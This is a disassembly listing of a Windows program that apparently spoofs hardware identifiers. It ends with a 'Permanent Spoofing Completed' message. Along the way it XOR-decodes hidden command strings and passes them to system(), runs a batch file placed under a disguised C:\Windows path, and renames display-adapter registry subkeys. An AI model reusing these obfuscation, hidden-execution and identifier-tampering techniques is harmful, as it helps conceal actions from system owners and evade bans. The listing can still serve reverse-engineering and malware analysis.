pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm11
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x30
jl 0x140214100
jmp 0x140214222
lea r9, [rsp + 0x50]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x30
jl 0x1402141f0
lea rcx, [rsp + 0x50]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140369610]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x140369620]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x140369630]
movups xmmword [rsp + 0x70], xmm0
mov r8d, esi
cmp r12d, 2
jl 0x14021436b
mov edx, esi
movdqa xmmword [rbp + 0xf0], xmm6
lea rcx, [rsp + 0x54]
mov r8d, dword [rbp + 0xf0]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm11
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm11
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x30
jl 0x140214280
jmp 0x1402143a2
lea r9, [rsp + 0x50]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x30
jl 0x140214370
lea rcx, [rsp + 0x50]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1403695e0]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x1403695f0]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x140369600]
movups xmmword [rsp + 0x70], xmm0
mov r8d, esi
cmp r12d, 2
jl 0x1402144eb
mov edx, esi
movdqa xmmword [rbp + 0xf0], xmm6
lea rcx, [rsp + 0x54]
mov r8d, dword [rbp + 0xf0]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm11
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm11
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x30
jl 0x140214400
jmp 0x140214522
lea r9, [rsp + 0x50]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x30
jl 0x1402144f0
lea rcx, [rsp + 0x50]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140368bb0]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x140368bc0]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x140368bd0]
movups xmmword [rsp + 0x70], xmm0
mov r8d, esi
cmp r12d, 2
jl 0x14021466b
mov edx, esi
movdqa xmmword [rbp + 0xf0], xmm6
lea rcx, [rsp + 0x54]
mov r8d, dword [rbp + 0xf0]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm11
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm11
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x30
jl 0x140214580
jmp 0x1402146a2
lea r9, [rsp + 0x50]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x30
jl 0x140214670
lea rcx, [rsp + 0x50]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x188]
call fcn.1402014d0
nop
lea rcx, [rbp + 0x148]
call fcn.1402014d0
nop
lea rcx, [rbp + 0x100]
call fcn.1402014d0
nop
lea rcx, [rbp + 0x128]
call fcn.1402014d0
nop
lea rcx, [rbp + 0x168]
call fcn.1402014d0
nop
lea rcx, [rbp + 0x1c8]
call fcn.1402014d0
nop
lea rcx, [rbp + 0x1a8]
call fcn.1402014d0
cmp byte [0x140456100], 0
je 0x140214abb
mov qword [rbp + 0xf0], 3
lea rcx, [rbp + 0xf0]
call fcn.14021c5c0
movups xmm0, xmmword [0x140368950]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x140368960]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x140368970]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x140368980]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x140368990]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x1403689a0]
movups xmmword [rbp - 0x60], xmm1
movsd xmm0, qword [0x1403689b0]
movsd qword [rbp - 0x50], xmm0
mov eax, dword [0x1403689b8]
mov dword [rbp - 0x48], eax
mov r8d, esi
movdqa xmm13, xmmword [str.1111111111111111]
cmp r12d, 2
jl 0x1402148a1
movdqa xmmword [rbp + 0xf0], xmm13
lea rcx, [rsp + 0x54]
mov edx, dword [rbp + 0xf0]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm11
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm11
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x68
jl 0x1402147b0
cmp r8d, 0x6c
jge 0x1402148e0
movsxd rax, r8d
lea r9, [rsp + 0x50]
add r9, rax
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x6c
jl 0x1402148b0
lea rcx, [rsp + 0x50]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.C:WindowsGameBarPresenceWriter7rszdm.bat
lea rcx, [rbp + 0x1a8]
call fcn.140201530
lea rcx, [rbp + 0x1a8]
call fcn.1402014c0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov qword [rbp + 0xf0], 0xa
lea rcx, [rbp + 0xf0]
call fcn.14021c5c0
movups xmm0, xmmword [0x140368730]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x140368740]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x140368750]
movups xmmword [rsp + 0x70], xmm0
mov r8d, esi
cmp r12d, 2
jl 0x140214a5d
mov edx, esi
movdqa xmmword [rbp + 0xf0], xmm13
lea rcx, [rsp + 0x54]
mov r8d, dword [rbp + 0xf0]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm11
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm11
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x30
jl 0x140214972
jmp 0x140214aa2
lea r9, [rsp + 0x50]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x30
jl 0x140214a70
lea rcx, [rsp + 0x50]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x1a8]
call fcn.1402014d0
jmp 0x140214ac4
movdqa xmm13, xmmword [str.1111111111111111]
cmp byte [0x140456101], 0
je 0x140214ede
lea rcx, [rbp + 0x100]
call fcn.1401fed00
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x100], xmm1
mov qword [rbp + 0x110], rsi
mov r15d, esi
lea rax, [rbp + 0xf0]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
lea rdx, str.ComputerHKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlVideo
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140214e94
mov dword [rbp + 0x120], 0x100
lea rax, [rbp + 0x128]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
lea r9, [rbp + 0x120]
lea r8, [rbp + 0x1f0]
xor edx, edx
mov rcx, qword [rbp + 0xf0]
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
cmp eax, 0x103
je 0x140214d70
xorps xmm0, xmm0
movups xmmword [rbp + 0x148], xmm0
mov qword [rbp + 0x158], rsi
mov qword [rbp + 0x160], rsi
lea rax, [rbp + 0x1f0]
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], 0
jne 0x140214b96
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
ja 0x1402162f7
cmp rbx, 0xf
ja 0x140214bed
mov qword [rbp + 0x158], rbx
mov qword [rbp + 0x160], reloc.WS2_32.dll_ntohs
mov r8, rbx
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp + 0x148]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rbx + 0x148], 0
jmp 0x140214c90
mov rdi, rbx
or rdi, 0xf
cmp rdi, rax
jbe 0x140214c0c
mov rdi, rax
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x140214c3d
cmp rdi, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb rdi, rax
lea rcx, [rdi + 1]
test rcx, rcx
jne 0x140214c27
mov r14, rsi
jmp 0x140214c64
cmp rcx, 0x1000
jb 0x140214c5c
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14021634b
mov rcx, rax
call fcn.1402f77c0
test rax, rax
je 0x140214e2d
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x140214c64
call fcn.1402f77c0
mov r14, rax
mov qword [rbp + 0x148], r14
mov qword [rbp + 0x158], rbx
mov qword [rbp + 0x160], rdi
mov r8, rbx
lea rdx, [rbp + 0x1f0]
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
mov byte [r14 + rbx], 0
mov rdx, qword [rbp + 0x108]
cmp rdx, qword [rbp + 0x110]
je 0x140214ccb
movups xmm0, xmmword [rbp + 0x148]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rbp + 0x158]
movups xmmword [rdx + 0x10], xmm1
mov edx, reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x148], 0
add qword [rbp + 0x108], 0x20
jmp 0x140214ce5
lea r8, [rbp + 0x148]
lea rcx, [rbp + 0x100]
call fcn.140222590
mov rdx, qword [rbp + 0x160]
cmp rdx, 0xf
jbe 0x140214d1f
inc rdx
mov rcx, qword [rbp + 0x148]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140214d1a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140214e2d
call fcn.1402f7b14
inc r15d
mov dword [rbp + 0x120], 0x100
lea rax, [rbp + 0x128]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
lea r9, [rbp + 0x120]
lea r8, [rbp + 0x1f0]
mov edx, r15d
mov rcx, qword [rbp + 0xf0]
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
cmp eax, 0x103
jne 0x140214b70
mov rcx, qword [rbp + 0xf0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rbp + 0xf0]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
lea rdx, str.ComputerHKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlVideo
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140214e8b
mov rbx, qword [rbp + 0x100]
mov rdi, qword [rbp + 0x108]
cmp rbx, rdi
je 0x140214e7c
nop word [rax + rax]
lea rcx, [rbp + 0x188]
call fcn.14020e2c0
nop
lea r8, [rbp + 0x188]
mov rdx, rbx
mov rcx, qword [rbp + 0xf0]
call fcn.14020f030
test al, al
je 0x140214e34
lea rdx, str.Renamed
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140201900
mov rcx, rax
mov rdx, rbx
call fcn.14021c940
mov rcx, rax
lea rdx, str._to
call fcn.140201900
lea rdx, [rbp + 0x188]
jmp 0x140214e4a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
lea rdx, str.Error:_Could_not_rename
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140201900
mov rdx, rbx
mov rcx, rax
call fcn.14021c940
lea rdx, [0x140201ae0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x188]
call fcn.1402014d0
add rbx, 0x20
cmp rbx, rdi
jne 0x140214dd0
mov rcx, qword [rbp + 0xf0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x140214eb8
lea rdx, str.Error:_Could_not_open_registry_key_for_writing.
jmp 0x140214e9b
lea rdx, str.Error:_Could_not_open_registry_key_for_reading.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140201900
lea rdx, [0x140201ae0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x100]
call fcn.140201770
call fcn.14020a1d0
lea rcx, [rbp + 0xf0]
call fcn.1401fe720
mov rax, qword [rbp + 0xf0]
jmp 0x140214efd
call fcn.14020a1d0
lea rcx, [rbp + 0xf0]
call fcn.1401fe720
mov rax, qword [rbp + 0xf0]
mov qword [rbp + 0xf0], rax
movabs rbx, 0x7ffffffed5fa0dff
movabs rdi, 0x12a05f200
mov r14d, 1
mov r13d, 0xff
cmp rax, rbx
je 0x140214f61
mov ecx, r14d
cmovl ecx, r13d
test cl, cl
jns 0x140214f61
lea rcx, [rax + rdi]
mov qword [rbp + 0xf0], rcx
lea rcx, [rbp + 0xf0]
call fcn.140201d50
call fcn.14020b800
lea rcx, [rbp + 0xf0]
call fcn.1401fe720
movabs r15, 0x7fffffffffffffff
jmp 0x140214f8f
movabs r15, 0x7fffffffffffffff
mov qword [rbp + 0xf0], r15
lea rcx, [rbp + 0xf0]
call fcn.140201d50
call fcn.14020b800
lea rcx, [rbp + 0xf0]
call fcn.1401fe720
movabs rdx, 0x7fffffff4d2fa1ff
mov rax, qword [rbp + 0xf0]
cmp rax, rdx
je 0x140214fc1
mov ecx, r14d
cmovl ecx, r13d
test cl, cl
jns 0x140214fc1
mov ecx, 0xb2d05e00
add rcx, rax
mov qword [rbp + 0xf0], rcx
jmp 0x140214fc8
mov qword [rbp + 0xf0], r15
lea rcx, [rbp + 0xf0]
call fcn.140201d50
call fcn.140206f20
lea rcx, [rbp + 0xf0]
call fcn.1401fe720
mov rax, qword [rbp + 0xf0]
cmp rax, rbx
je 0x140215009
mov ecx, r14d
cmovl ecx, r13d
test cl, cl
jns 0x140215009
lea rcx, [rax + rdi]
mov qword [rbp + 0xf0], rcx
jmp 0x140215010
mov qword [rbp + 0xf0], r15
lea rcx, [rbp + 0xf0]
call fcn.140201d50
call fcn.14020cd00
mov r9d, 0x40
lea r8, str.Success
lea rdx, str.Permanent_Spoofing_Completed__restart_your_computer_for_everything_to_apply_correctly.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov dword [rbp - 0x2c], 0x3f800000
mov dword [rbp - 0x34], 0
movss xmm0, dword [0x140455fa8]
mov rbx, qword [0x140455660]
addss xmm0, dword [rbx + 0x18]
movss dword [rbp - 0x30], xmm0
lea rcx, [rbp - 0x34]
lea rax, [rbp - 0x30]
xorps xmm12, xmm12
comiss xmm12, xmm0
cmovbe rcx, rax
lea rax, [rbp - 0x2c]
comiss xmm0, dword [0x14036ea24]
cmovbe rax, rcx
movss xmm0, dword [rax]
movss dword [0x140455fa8], xmm0
mov qword [rsp + 0x30], rsi
lea rdi, str.Spoofig
mov qword [rsp + 0x28], rdi
movss xmm6, dword [0x14036eb80]
movss dword [rsp + 0x20], xmm6
movss xmm14, dword [0x14036eb74]
movaps xmm3, xmm14
movss xmm2, dword [rbx + 0x3c40]
lea rdx, [rbp + 0xf0]
mov rcx, qword [rbx + 0x3c38]
call fcn.1401efc80
movss xmm7, dword [0x14036eb40]
subss xmm7, dword [rbp + 0xf4]
mulss xmm7, dword [0x14036e9f0]
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rdi
movss dword [rsp + 0x20], xmm6
movaps xmm3, xmm14
movss xmm2, dword [rbx + 0x3c40]
lea rdx, [rbp + 0xf0]
mov rcx, qword [rbx + 0x3c38]
call fcn.1401efc80
movss xmm0, dword [rbp + 0xf0]
addss xmm0, dword [0x14036ea1c]
cvttss2si eax, xmm0
movd xmm1, eax
cvtdq2ps xmm1, xmm1
movss xmm6, dword [0x14036eb58]
subss xmm6, xmm1
mulss xmm6, dword [0x14036e9f0]
mov rdi, qword [rbx + 0x3c38]
mov rax, qword [rbx + 0x3ef0]
mov byte [rax + 0xb8], 1
mov rax, qword [rbx + 0x3ef0]
mov r8, qword [rax + 0x298]
mov dword [rbp + 0xf0], 0x3f800000
mov dword [rbp + 0xf4], 0x3f800000
mov dword [rbp + 0xf8], 0x3f800000
movss xmm0, dword [rbx + 0x37f0]
movss dword [rbp + 0xfc], xmm0
lea rcx, [rbp + 0xf0]
call fcn.1401cf8d0
movss dword [rbp + 0xf0], xmm6
movss dword [rbp + 0xf4], xmm7
mov rcx, qword [0x140455fc8]
test eax, 0xff000000
je 0x140215232
test rcx, rcx
jne 0x1402151d8
mov rcx, qword [r8 + 0x38]
mov rcx, qword [rcx + 8]
movups xmm0, xmmword [r8 + 0x88]
movups xmmword [rbp + 0x100], xmm0
mov byte [rsp + 0x48], 0
movss dword [rsp + 0x40], xmm12
lea rdx, [0x14036d5a8]
mov qword [rsp + 0x38], rdx
lea rdx, str.Spoofing
mov qword [rsp + 0x30], rdx
lea rdx, [rbp + 0x100]
mov qword [rsp + 0x28], rdx
mov dword [rsp + 0x20], eax
lea r9, [rbp + 0xf0]
movss xmm2, dword [0x14036ea98]
mov rdx, r8
call fcn.1401efea0
mov rcx, rdi
call fcn.1401db9e0
mov r10, qword [0x140456008]
mov rcx, qword [0x140455660]
mov rax, qword [rcx + 0x3ef0]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ef0]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
addss xmm1, dword [0x14036eb0c]
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
addss xmm0, dword [0x14036eb30]
movss dword [rax + 0x100], xmm0
movss dword [rax + 0x104], xmm1
mov byte [rax + 0x141], 1
mov qword [rbp + 0xf0], 0
mov dword [rbp + 0xf8], 0x3f800000
movss xmm0, dword [rcx + 0x37f0]
movss dword [rbp + 0xfc], xmm0
lea rcx, [rbp + 0xf0]
call fcn.1401cf8d0
mov qword [rbp + 0xf0], 0
mov dword [rbp + 0x128], 0x3f800000
mov dword [rbp + 0x12c], 0x3f800000
mov dword [rbp + 0x168], 0x420c0000
mov dword [rbp + 0x16c], 0x420c0000
movss xmm1, dword [0x14036e9d0]
movss dword [rsp + 0x28], xmm1
mov dword [rsp + 0x20], eax
lea r9, [rbp + 0xf0]
lea r8, [rbp + 0x128]
lea rdx, [rbp + 0x168]
mov rcx, r10
call fcn.1401f95b0
movss xmm0, dword [0x140457498]
cvtps2pd xmm0, xmm0
movsd xmm6, qword [0x14036ea38]
addsd xmm0, xmm6
cvtpd2ps xmm1, xmm0
movss dword [0x140457498], xmm1
comiss xmm1, dword [0x14036eacc]
jbe 0x14021539a
mov dword [0x140457498], 0
mov dword [0x140455fa8], 0
mov dword [0x1404542e8], 0x43d70000
mov dword [0x1404542d4], 0xc3a78000
mov dword [0x1404542ec], 0x44714000
mov dword [0x140456050], esi
jmp 0x140215d75
mov eax, dword [0x140456050]
jmp 0x1402153bd
xorps xmm12, xmm12
movdqa xmm13, xmmword [str.1111111111111111]
movsd xmm6, qword [0x14036ea38]
mov r14d, 1
cmp eax, 9
jne 0x140215469
cmp byte [0x14045565a], 0
jne 0x140215d75
mov byte [0x14045565a], 1
mov rax, qword [0x140455660]
movss xmm0, dword [0x140455fa8]
addss xmm0, dword [rax + 0x18]
lea rcx, [rbp + 0xf0]
comiss xmm12, xmm0
lea rax, [rbp + 0x128]
cmovbe rcx, rax
movss xmm7, dword [0x14036ea24]
lea rax, [rbp + 0x168]
comiss xmm0, xmm7
cmovbe rax, rcx
mov dword [rbp + 0x168], 0x3f800000
mov dword [rbp + 0xf0], 0
movss dword [rbp + 0x128], xmm0
movss xmm0, dword [rax]
movss dword [0x140455fa8], xmm0
movss xmm10, dword [0x14036eacc]
movss xmm14, dword [0x14036eb1c]
movss xmm15, dword [0x14036ea70]
lea r14, [0x14045565f]
jmp 0x140215d9f
cmp eax, 8
jne 0x140215480
cmp byte [0x14045565c], 0
jne 0x140215d75
jmp 0x1402153da
